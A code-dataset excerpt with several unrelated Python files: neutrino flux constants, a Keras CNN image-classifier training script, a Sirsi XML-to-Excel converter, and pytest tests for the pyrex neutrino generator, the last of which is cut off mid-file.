bounds_error=False)\nxe_elec_2N2B_spectrum = interp1d(xe_elec_2nu2beta[:,0], xe_elec_2nu2beta[:,1], kind='linear', fill_value=0., bounds_error=False)\nxe_elec_Rn_spectrum = interp1d(xe_elec_RN[:,0], xe_elec_RN[:,1], kind='linear', fill_value=0., bounds_error=False)\n\n# Argon electronic bkg\nar_elec_p = np.loadtxt(path + '/Nu_Flux/Argon_elecBkg_P.dat')\nar_elec_Rn = np.loadtxt(path + '/Nu_Flux/Argon_elecBkg_Rn.dat')\nar_elec_Cosmo = np.loadtxt(path + '/Nu_Flux/Argon_elecBkg_cosmo.dat')\nar_elec_P_spectrum = interp1d(ar_elec_p[:,0], ar_elec_p[:,1], kind='linear', fill_value='extrapolate', bounds_error=False)\nar_elec_Rn_spectrum = interp1d(ar_elec_Rn[:,0], ar_elec_Rn[:,1], kind='linear', fill_value='extrapolate', bounds_error=False)\nar_elec_Cos_spectrum = interp1d(ar_elec_Cosmo[:,0], ar_elec_Cosmo[:,1], kind='linear', fill_value='extrapolate', bounds_error=False)\n\r\ndef atm_spectrum(x):\r\n return atmnue_spectrum(x) + atmnumu_spectrum(x) + atmnumubar_spectrum(x) + atmnuebar_spectrum(x)\r\n\r\nNEUTRINO_EMAX = {\"b8\": 16.18,\r\n \"b7l1\": 0.39,\r\n \"b7l2\": 0.87,\r\n \"pepl1\": 1.45,\r\n \"hep\": 18.77,\r\n \"pp\": 0.42,\r\n \"o15\": 1.73,\r\n \"n13\": 1.20,\r\n \"f17\": 1.74,\r\n \"atmnue\": 9.44*10**2.,\r\n \"atmnuebar\": 9.44*10**2.,\r\n \"atmnumu\": 9.44*10**2.,\r\n \"atmnumubar\": 9.44*10**2.,\r\n \"dsnb3mev\":36.90,\r\n \"dsnb5mev\": 57.01,\r\n \"dsnb8mev\": 81.91,\r\n \"reactor\": 10.,\r\n \"geoU\": 3.99,\r\n \"geoTh\": 2.26,\r\n \"geoK\": 1.32,\r\n \"atm\": 9.44*10**2.\r\n }\n\r\n\r\nNEUTRINO_MEANF = {\n# \"b8\": 5.58 * 10. ** 6.,\n \"b8\": 4.59 * 10. ** 6.,\n# \"b7l1\": 0.1 * 5.00 * 10. ** 9.,\n# \"b7l2\": 0.9 * 5.00 * 10. ** 9.,\n \"b7l1\": 0.1 * 4.56 * 10. ** 9.,\n \"b7l2\": 0.9 * 4.56 * 10. ** 9.,\n# \"pepl1\": 1.44 * 10. ** 8.,\n \"pepl1\": 1.47 * 10. ** 8.,\n# \"hep\": 8.04 * 10. ** 3.,\n \"hep\": 8.31 * 10. ** 3.,\n# \"pp\": 5.98 * 10. ** 10.,\n \"pp\": 6.03 * 10. ** 10.,\n# \"o15\": 2.23 * 10. ** 8.,\n \"o15\": 1.56 * 10. ** 8.,\n# \"n13\": 2.96 * 10. ** 8.,\n \"n13\": 2.17 * 10. ** 8.,\n# \"f17\": 5.52 * 10. ** 6.,\n \"f17\": 3.40 * 10. ** 6.,\n \"atmnue\": 1.27 * 10. ** 1,\r\n \"atmnuebar\": 1.17 * 10. ** 1,\r\n \"atmnumu\": 2.46 * 10. ** 1,\r\n \"atmnumubar\": 2.45 * 10. ** 1,\r\n \"dsnb3mev\": 4.55 * 10. ** 1,\r\n \"dsnb5mev\": 2.73 * 10. ** 1,\r\n \"dsnb8mev\": 1.75 * 10. ** 1,\r\n \"atm\": (1.27 + 1.17 + 2.46 + 2.45) * 10.\r\n }\r\n\r\nNEUTRINO_SIG = {\"b8\": 5.58 * 10. ** 6. * 0.14,\r\n \"b7l1\": 0.07 * 0.1 * 5.00 * 10. ** 9.,\r\n \"b7l2\": 0.07 * 0.9 * 5.00 * 10. ** 9.,\r\n \"pepl1\": 0.012 * 1.44 * 10. ** 8.,\r\n \"hep\": 0.3 * 8.04 * 10. ** 3.,\r\n \"pp\": 0.006 * 5.98 * 10. ** 10.,\r\n \"o15\": 0.15 * 2.23 * 10. ** 8.,\r\n \"n13\": 0.14 * 2.96 * 10. ** 8.,\r\n \"f17\": 0.17 * 5.52 * 10. ** 6.,\r\n \"atmnue\": 0.5 * 1.27 * 10. ** 1,\r\n \"atmnuebar\": 0.5 * 1.17 * 10. ** 1,\r\n \"atmnumu\": 0.5 * 2.46 * 10. ** 1,\r\n \"atmnumubar\": 0.5 * 2.45 * 10. ** 1,\r\n \"dsnb3mev\": 0.5 * 4.55 * 10. ** 1,\r\n \"dsnb5mev\": 0.5 * 2.73 * 10. ** 1,\r\n \"dsnb8mev\": 0.5 * 1.75 * 10. ** 1,\r\n \"atm\": 0.5 * (1.27 + 1.17 + 2.46 +2.45) * 10.\r\n }\r\nNEUTRINO_SPEC = {\"b8\": b8nu_spectrum,\r\n \"hep\": hepnu_spectrum,\r\n \"pp\": ppnu_spectrum,\r\n \"o15\": o15nu_spectrum,\r\n \"n13\": n13nu_spectrum,\r\n \"f17\": f17nu_spectrum,\r\n \"atmnue\": atmnue_spectrum,\r\n \"atmnuebar\": atmnuebar_spectrum,\r\n \"atmnumu\": atmnumu_spectrum,\r\n \"atmnumubar\": atmnumubar_spectrum,\r\n \"dsnb3mev\": dsnb3mevnu_spectrum,\r\n \"dsnb5mev\": dsnb5mevnu_spectrum,\r\n \"dsnb8mev\": dsnb8mevnu_spectrum,\r\n \"reactor\": reactor_nu_spectrum,\r\n \"geoU\": geoU_spectrum,\r\n \"geoTh\": geoTh_spectrum,\r\n \"geoK\": geoK_spectrum,\r\n \"atm\": atm_spectrum,\n \"Xe_Kr\": xe_elec_Kr_spectrum,\n \"Xe_2N2B\": xe_elec_2N2B_spectrum,\n \"Xe_Rn\": xe_elec_Rn_spectrum,\n \"Ar_P\": ar_elec_P_spectrum,\n \"Ar_Rn\": ar_elec_Rn_spectrum,\n \"Ar_Cos\": ar_elec_Cos_spectrum,\r\n }\r\n\r\nnu_lines = ['b7l1', 'b7l2', 'pepl1']\r\nline_flux = [(0.1) * 5.00 * 10. ** 9., (0.9) * 5.00 * 10. ** 9., 1.44 * 10. ** 8.]\r\ne_lines = [0.380, 0.860, 1.440]\r\n\r\nELEC_BKG_TAG = {\n \"Xe_Kr\": 'Kr',\n \"Xe_2N2B\": r'$2\\nu 2\\beta$',\n \"Xe_Rn\": 'Rn',\n \"Ar_P\": 'P',\n \"Ar_Rn\": 'Rn',\n \"Ar_Cos\": 'Cosmogenic'\n}\r\n", "sub_path": "constants.py", "file_name": "constants.py", "file_ext": "py", "file_size_in_byte": 11710, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.getcwd", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 51, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 57, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 60, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 63, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 66, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 75, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 78, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 81, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 84, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 87, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 123, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 124, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 125, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 131, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 132, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 133, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 139, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 140, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 141, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 142, "usage_type": "call"}]} {"seq_id": "7114281", "text": "# -*- coding: utf-8 -*-\n\"\"\" This program trains a simple two layer classifier for the task of classifying \nelements of the data set.\nThe program requires the data tree to be of the following format.\n|dataset/\n |train/\n |class-A/\n |class-B/\n \n |test/\n |class-A/\n |class-B/\n \nTo train a simple classification network use the following command\npython train.py\n:args (optional) -p dataset path\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, BatchNormalization, Flatten, Dense, Dropout\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom tqdm import tqdm\nimport os, glob, cv2\nfrom random import shuffle\nimport matplotlib.pyplot as plt\n\n# def load_data(path = 'dataset/train/', image_size = (64,64,3), class_names = ['cat', 'dog'], function='train', train_percnt = 0.80, display=False):\n# \"\"\"\n# _func_: Loads the training data and returns the images and labels\n\n# Input:\n# path(optional): path to the training dataset folder\n# input_size(optional) - input size of the image, defaulted to 64x64x3\n# function(optional): 'train' or 'test'\n\n# Return:\n# x: numpy array of the images\n# y: numpy array of labels labels\n# \"\"\"\n\n# # get a list of all the images in the folder\n# image_paths = glob.glob(path + '*')\n# shuffle(image_paths)\n\n# # Split the training and validation set\n# if function == 'train': image_paths= image_paths[0:int(len(image_paths)*train_percnt)]\n# else: image_paths= image_paths[int(len(image_paths)*train_percnt): len(image_paths)]\n\n# # Create a vairable for holding the data \n# # x = np.zeros((len(image_paths), image_size[0], image_size[1], image_size[2]), dtype=np.float32)\n# # y = np.zeros((len(image_paths), 1), dtype=np.float32)\n# x = []\n# y = []\n\n# print(\"\\n[INFO]............ Loading trainig images\\n\") \n# # Iterate through every image\n# for i, image_path in enumerate(tqdm(image_paths)):\n \n# image = cv2.imread(image_path)\n# image = cv2.resize(image,(image_size[0],image_size[1]), interpolation=cv2.INTER_CUBIC)\n\n# x.append(image)\n\n# if class_names[0] in image_path: y.append(0)\n# else: y.append(1)\n \n# print(\"\\n[INFO]............ Total of %r images\"%(len(image_paths)))\n \n# if display:\n# for i in range(1,5):\n# plt.subplot(2, 2, i)\n# plt.title(\"True label :\"+str(y[i])) # set title\n# plt.imshow(x[i])\n# plt.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=0.4)\n# plt.show()\n\n# return np.array(x, dtype=\"float\") / 255.0, np.array(y)\n\ndef model_generator(input_size = (64,64,3), n_conv_block = 2, n_dense_block = 2, Dropout=False):\n \"\"\"\n _func_: Creates a model from the input specifications and returns the model\n\n Input:\n input_size(optional) - input size of teh image, defaulted to 64x64x3\n n_conv_block(optional) - number of convolutional block, Each block has a conv2D->conv2d->Maxpool->batchNorm\n \n Return:\n model: Model file that represents the weights\n \"\"\"\n # Initialising the CNN\n model = Sequential()\n\n # Step 1 - Initial Convolution\n model.add(Conv2D(8, (3, 3), input_shape = (64, 64, 3), activation = 'relu'))\n\n # Iterate through the numer of convolutional blocks\n for i in range(1, n_conv_block):\n\n # Step 1 - Convolution\n model.add(Conv2D(16*i, (3, 3), input_shape = (64, 64, 3), activation = 'relu'))\n\n # Step 2 - Pooling\n model.add(Conv2D(16*i*2, (3, 3), activation = 'relu'))\n\n # Pooling again\n model.add(MaxPooling2D(pool_size = (2, 2)))\n \n # Batch Normalization\n model.add(BatchNormalization())\n\n # Step 3 - Flattening\n model.add(Flatten())\n\n # Step 4 - Full connection\n # Iterate through the numer of Dense blocks\n for i in range(1, n_dense_block):\n model.add(Dense(units = 128*i, activation = 'relu'))\n if Dropout: model.add(Dropout(0.20))\n model.add(Dense(units = 1, activation = 'sigmoid'))\n\n\n # Compiling the CNN\n model.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\n\n return model\n\nif __name__ == \"__main__\":\n \n image_size = (64,64,3)\n n_epochs = 5\n batch_size = 32\n\n train_datagen = ImageDataGenerator(rescale = 1./255,\n shear_range = 0.2,\n zoom_range = 0.2,\n horizontal_flip = True)\n\n valid_datagen = ImageDataGenerator(rescale = 1./255)\n\n\n\n training_set = train_datagen.flow_from_directory('dataset/training_set',\n target_size = (64, 64),\n batch_size = 32,\n class_mode = 'binary')\n\n validation_set = valid_datagen.flow_from_directory('dataset/valid_set',\n target_size = (64, 64),\n batch_size = 32,\n class_mode = 'binary')\n\n # Create a Model\n model = model_generator(image_size, n_conv_block=4, n_dense_block=3)\n # model = model_generator()\n\n # Open the file\n with open('model_report.txt','w') as fh:\n # Pass the file handle in as a lambda function to make it callable\n model.summary(print_fn=lambda x: fh.write(x + '\\n'))\n\n # Training the model with callback based on validation loss\n\n model.fit_generator(training_set,\n epochs = n_epochs,\n steps_per_epoch = 8000,\n validation_data = validation_set,\n validation_steps = 2000,\n callbacks = [keras.callbacks.EarlyStopping(monitor='val_loss',\n min_delta = 0,\n patience = 2,\n verbose=0,\n mode='auto')])\n\n model.save('model.h5')\n\n\n\n", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 6241, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.models.Sequential", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 103, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 106, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 109, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 112, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 115, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 120, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 121, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 122, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 136, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 141, "usage_type": "call"}, {"api_name": "keras.callbacks.EarlyStopping", "line_number": 171, "usage_type": "call"}, {"api_name": "keras.callbacks", "line_number": 171, "usage_type": "attribute"}]} {"seq_id": "442236144", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nExporting Sirsi XML report to Excel\n\"\"\"\nfrom bs4 import BeautifulSoup\nimport xlsxwriter\nimport os # for os.listdir()\n\n\n# Holds the directory where xml file(s) will be sourced and docx file(s) will be saved\ndirectory_path = ''\n# Flag for when no XML files are found\nno_xml = True\n\ndef get_catalog_details(tag):\n print(\"name:\", tag.name)\n print(\"attrs:\", tag.attrs)\n\n# Get a list of .xml files in the directory \ndef get_filelist():\n xml_filenames = []\n # https://docs.python.org/3/library/os.html#os.listdir\n # A GUI might be nice for finding the right directory\n dir = input(\"Enter a directory that contains xml files to be converted OR hit enter to continue with current dir. \\n\")\n \n global directory_path\n global no_xml\n # Use the current directory if the user inputs nothing\n if dir == '':\n directory_path = os.getcwd()\n files_list = os.listdir()\n print(\"Searching\", os.getcwd()) # https://docs.python.org/3/library/os.html#os.getcwd\n # Otherwise use the user-specified directory\n else:\n directory_path = dir\n files_list = os.listdir(dir)\n print(\"Searching\", dir)\n \n for file in files_list:\n if file.endswith('.xml'):\n xml_filenames.append(file)\n \n \n # Let user know how many files were found\n if len(xml_filenames) == 0:\n print(\"\\nSorry, no files found in that directory\")\n \n elif len(files_list) == 1:\n print(\"\\nFound\", len(xml_filenames), \"file to convert.\")\n no_xml = False\n else:\n print(\"\\nFound\", len(xml_filenames), \"files to convert. \")\n no_xml = False\n \n\n # Iterate through each file, process it, and generate a Word doc\n for xml_file in xml_filenames: \n convert_xml_to_xlsx(xml_file) \n \n\n# This function extracts the bulk of the data from the xml file.\n# Accepts an xml file and produces an Excel file. Only prints select\n# fields; not an entire bib or item record\ndef convert_xml_to_xlsx(xml_file): \n\n # Grab the source filename minus '.xml' This will be used in the title of the resulting file\n file_title = xml_file.replace('.xml', '') + '_.xlsx'\n \n # Create a workbook and add a worksheet.\n workbook = xlsxwriter.Workbook(file_title)\n worksheet = workbook.add_worksheet()\n\n \n print(\"\\nConverting\", xml_file)\n \n with open(xml_file, encoding = 'utf-8') as booklist:\n global directory_path\n # a list to hold circ stats\n stats_list = []\n \n # a list to hold bib details\n item_list = []\n \n soup = BeautifulSoup(booklist, 'lxml-xml')\n marc = soup.find_all('catalog')\n tag = soup.marcEntry \n \n for item in marc:\n \n # find_all() returns a _list_ of tags and strings–a ResultSet object. \n # You need to iterate over the list and look at the .foo of each one.\n # https://www.crummy.com/software/BeautifulSoup/bs4/doc/\n if item.yearOfPublication != None:\n year = item.yearOfPublication.get_text()\n else: \n year = \"Check year\" # A few titles like yearbooks don't have a year!\n \n barcode = item.itemID.get_text() \n total_charges = item.totalCharges.get_text()\n date_last_use = item.dateLastUsed.get_text()\n call_no = item.callNumber.get_text()\n isbn = ''\n # This find_all returns a list of all the marcEntry elements\n tag = item.find_all('marcEntry')\n\n \n # list to hold details of one item\n item_details = []\n for element in tag: \n # Title\n # if 245 in element[tag] \n if element['tag'] == '245':\n title = element.get_text()\n stats_title = element.get_text()\n title = element.get_text() + \" (\" + year + \")\"\n \n # Description\n if element['tag'] == '260':\n desc = element.get_text()\n \n # Physical desc\n if element['tag'] == '300': \n desc += \" \" + element.get_text()\n \n # Campus Location \n if element['tag'] == '596':\n campus = element.get_text()\n \n # ISBNS\n if element['tag'] == '020':\n num = element.get_text() + ' | '\n isbn += num\n \n # Add bibliographic details to Excel file \n item_details.extend([title,barcode,campus,call_no,isbn,desc,total_charges,date_last_use])\n \n item_list.append(item_details)\n \n # Collect some basic data for item stats \n item_stats = []\n elements = (barcode, stats_title, total_charges)\n item_stats.extend(elements)\n # Save item stats in a list for the top ten list\n stats_list.append(item_stats)\n \n \n \n print(\"Done!\")\n \n\n \n # Start from the first cell. Rows and columns are zero indexed. \n row = 0\n col = 0 \n \n # Setup col & cell formatting\n header_format = workbook.add_format({'bold': True})\n text_wrap_format = workbook.add_format()\n text_wrap_format.set_text_wrap()\n worksheet.set_column('A:A' , 60) # Width title col\n worksheet.set_column('B:E' , 20) # Width cols B-E\n worksheet.set_column('F:F' , 60) # Width desc col\n \n # Output the results starting with row headers\n worksheet.write(row, col, 'Title', header_format)\n worksheet.write(row, 1, 'Barcode', header_format)\n worksheet.write(row, col + 2, 'Campus', header_format)\n worksheet.write(row, col + 3, 'Call Number', header_format)\n worksheet.write(row, col + 4, 'ISBN', header_format)\n worksheet.write(row, col + 5, 'Description', header_format)\n worksheet.write(row, col + 6, 'Total Charges', header_format)\n worksheet.write(row, col + 7, 'Date of Last Use', header_format)\n \n row += 1 \n\n # Iterate over the data and write it out row by row.\n for item in item_list:\n worksheet.write(row, col, item[0], text_wrap_format)\n worksheet.write(row, col + 1, item[1])\n worksheet.write(row, col + 2, item[2])\n worksheet.write(row, col + 3, item[3])\n worksheet.write(row, col + 4, item[4], text_wrap_format)\n worksheet.write(row, col + 5, item[5], text_wrap_format)\n worksheet.write(row, col + 6, item[6])\n worksheet.write(row, col + 7, item[7])\n row += 1 \n \n workbook.close() \n \n\n\ndef say_goodbye():\n if no_xml == False:\n print(\"\\nAll done! \\n\\nFind the file(s)in the following directory:\\n\", directory_path )\n else:\n print(\"\\nLet's try again\" )\n get_filelist()\n #TODO add a while loop for better UX \n \n\n#Let user enter the name of a directory\nfile_list = get_filelist()\n\nsay_goodbye()\n\n\n", "sub_path": "nursing2020/sirsi2xlst.py", "file_name": "sirsi2xlst.py", "file_ext": "py", "file_size_in_byte": 7360, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.getcwd", "line_number": 31, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 33, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 37, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 71, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 85, "usage_type": "call"}]} {"seq_id": "394460775", "text": "\"\"\"File containing tests of pyrex generation module\"\"\"\n\nimport pytest\n\nfrom config import SEED\n\nfrom pyrex.generation import ShadowGenerator, ListGenerator, NumpyFileGenerator\nfrom pyrex.particle import Event, Particle, NeutrinoInteraction\n\nimport numpy as np\n\n\n\n@pytest.fixture\ndef generator():\n \"\"\"Fixture for forming basic ShadowGenerator object\"\"\"\n np.random.seed(SEED)\n return ShadowGenerator(dx=5000, dy=5000, dz=3000,\n energy=1e9)\n\nclass TestShadowGenerator:\n \"\"\"Tests for ShadowGenerator class\"\"\"\n def test_creation(self, generator):\n \"\"\"Test initialization of ShadowGenerator\"\"\"\n assert generator.dx == 5000\n assert generator.dy == 5000\n assert generator.dz == 3000\n assert generator.get_energy() == 1e9\n assert np.array_equal(generator.ratio, np.ones(3)/3)\n assert issubclass(generator.interaction_model, NeutrinoInteraction)\n assert generator.count == 0\n\n generator = ShadowGenerator(dx=5000, dy=5000, dz=3000,\n energy=lambda: 1e9)\n assert generator.get_energy() == 1e9\n\n def test_creation_failure(self):\n \"\"\"Test that initialization fails if the energy_generator is not\n a function or a float-like value\"\"\"\n with pytest.raises(ValueError):\n generator = ShadowGenerator(dx=5000, dy=5000, dz=3000,\n energy=[1e9])\n\n def test_create_event(self, generator):\n \"\"\"Test that create_event method returns an Event object\"\"\"\n event = generator.create_event()\n assert isinstance(event, Event)\n\n def test_get_vertex(self, generator):\n \"\"\"Test that get_vertex method uniformly samples in the desired volume\"\"\"\n xs = []\n ys = []\n zs = []\n v = generator.get_vertex()\n assert isinstance(v, np.ndarray)\n assert len(v) == 3\n for _ in range(10000):\n v = generator.get_vertex()\n xs.append(v[0])\n ys.append(v[1])\n zs.append(v[2])\n assert np.mean(xs) == pytest.approx(0, abs=50)\n assert np.std(xs) == pytest.approx(5000/np.sqrt(12), rel=0.01)\n assert np.min(xs) >= -2500\n assert np.max(xs) <= 2500\n assert np.mean(ys) == pytest.approx(0, abs=50)\n assert np.std(ys) == pytest.approx(5000/np.sqrt(12), rel=0.01)\n assert np.min(ys) >= -2500\n assert np.max(ys) <= 2500\n assert np.mean(zs) == pytest.approx(-1500, abs=30)\n assert np.std(zs) == pytest.approx(3000/np.sqrt(12), rel=0.01)\n assert np.min(zs) >= -3000\n assert np.max(zs) <= 0\n\n def test_get_direction(self, generator):\n \"\"\"Test that get_direction method uniformly samples on the unit sphere\"\"\"\n xs = []\n ys = []\n zs = []\n v = generator.get_direction()\n assert isinstance(v, np.ndarray)\n assert len(v) == 3\n assert np.linalg.norm(v) == pytest.approx(1)\n for _ in range(10000):\n v = generator.get_direction()\n xs.append(v[0])\n ys.append(v[1])\n zs.append(v[2])\n assert np.mean(xs) == pytest.approx(0, abs=0.01)\n assert np.std(xs) == pytest.approx(2/np.sqrt(12), rel=0.01)\n assert np.min(xs) >= -1\n assert np.max(xs) <= 1\n assert np.mean(ys) == pytest.approx(0, abs=0.01)\n assert np.std(ys) == pytest.approx(2/np.sqrt(12), rel=0.01)\n assert np.min(ys) >= -1\n assert np.max(ys) <= 1\n assert np.mean(zs) == pytest.approx(0, abs=0.01)\n assert np.std(zs) == pytest.approx(2/np.sqrt(12), rel=0.01)\n assert np.min(zs) >= -1\n assert np.max(zs) <= 1\n\n def test_get_particle_type(self, generator):\n \"\"\"Test that get_particle_type method properly samples the flavor ratio\"\"\"\n flavors = []\n e_nu_nubar = []\n mu_nu_nubar = []\n tau_nu_nubar = []\n n = generator.get_particle_type()\n assert isinstance(n, Particle.Type)\n for _ in range(10000):\n n = generator.get_particle_type()\n if np.abs(n.value)==12:\n flavors.append(0)\n if n.value<0:\n e_nu_nubar.append(0)\n else:\n e_nu_nubar.append(1)\n elif np.abs(n.value)==14:\n flavors.append(1)\n if n.value<0:\n mu_nu_nubar.append(0)\n else:\n mu_nu_nubar.append(1)\n elif np.abs(n.value)==16:\n flavors.append(2)\n if n.value<0:\n tau_nu_nubar.append(0)\n else:\n tau_nu_nubar.append(1)\n else:\n raise ValueError(\"Uknown particle type thrown\")\n assert np.mean(flavors) == pytest.approx(1, abs=0.02)\n assert np.std(flavors) == pytest.approx(np.sqrt(8/12), rel=0.01)\n assert np.mean(e_nu_nubar) == pytest.approx(0.78, abs=0.02)\n assert np.mean(mu_nu_nubar) == pytest.approx(0.61, abs=0.02)\n assert np.mean(tau_nu_nubar) == pytest.approx(0.61, abs=0.02)\n\n def test_get_exit_points(self, generator):\n \"\"\"Test that the get_exit_points method returns accurate entry and exit\"\"\"\n p = Particle(particle_id=Particle.Type.electron_neutrino,\n vertex=(0, 0, -100), direction=(1, 0, 0), energy=1e9)\n enter_point, exit_point = generator.get_exit_points(p)\n assert np.array_equal(enter_point, [-2500, 0, -100])\n assert np.array_equal(exit_point, [2500, 0, -100])\n\n p = Particle(particle_id=Particle.Type.electron_neutrino,\n vertex=(0, 0, -100), direction=(0, 1, 0), energy=1e9)\n enter_point, exit_point = generator.get_exit_points(p)\n assert np.array_equal(enter_point, [0, -2500, -100])\n assert np.array_equal(exit_point, [0, 2500, -100])\n\n p = Particle(particle_id=Particle.Type.electron_neutrino,\n vertex=(0, 0, -100), direction=(0, 0, 1), energy=1e9)\n enter_point, exit_point = generator.get_exit_points(p)\n assert np.array_equal(enter_point, [0, 0, -3000])\n assert np.array_equal(exit_point, [0, 0, 0])\n\n p = Particle(particle_id=Particle.Type.electron_neutrino,\n vertex=(0, 0, -100), direction=(1, 1, 1), energy=1e9)\n enter_point, exit_point = generator.get_exit_points(p)\n assert np.array_equal(enter_point, [-2500, -2500, -2600])\n assert np.array_equal(exit_point, [100, 100, 0])\n\n\n\n@pytest.fixture\ndef event():\n \"\"\"Fixture for forming basic Event object\"\"\"\n return Event(Particle(particle_id=Particle.Type.electron_neutrino,\n vertex=[100, 200, -500], direction=[0, 0, 1],\n energy=1e9))\n\nclass TestListGenerator:\n \"\"\"Tests for ListGenerator class\"\"\"\n def test_creation(self, event):\n \"\"\"Test initialization of ListGenerator\"\"\"\n generator = ListGenerator(event)\n assert generator.events[0] == event\n assert generator.loop\n generator = ListGenerator([event, event])\n assert generator.events[0] == event\n assert generator.events[1] == event\n assert generator.loop\n\n def test_create_event(self, event):\n event2 = Event(Particle(particle_id=\"nu_e\", vertex=[0, 0, 0],\n direction=[0, 0, -1], energy=1e9))\n generator = ListGenerator([event, event2])\n assert generator.create_event() == event\n assert generator.create_event() == event2\n\n def test_loop(self, event):\n \"\"\"Test that the loop property allows for turning on and off the\n re-iteration of the list of events\"\"\"\n event2 = Event(Particle(particle_id=\"nu_e\", vertex=[0, 0, 0],\n direction=[0, 0, -1], energy=1e9))\n generator = ListGenerator([event, event2])\n assert generator.create_event() == event\n assert generator.create_event() == event2\n assert generator.create_event() == event\n assert generator.create_event() == event2\n assert generator.create_event() == event\n generator = ListGenerator(event, loop=False)\n assert not generator.loop\n assert generator.create_event() == event\n with 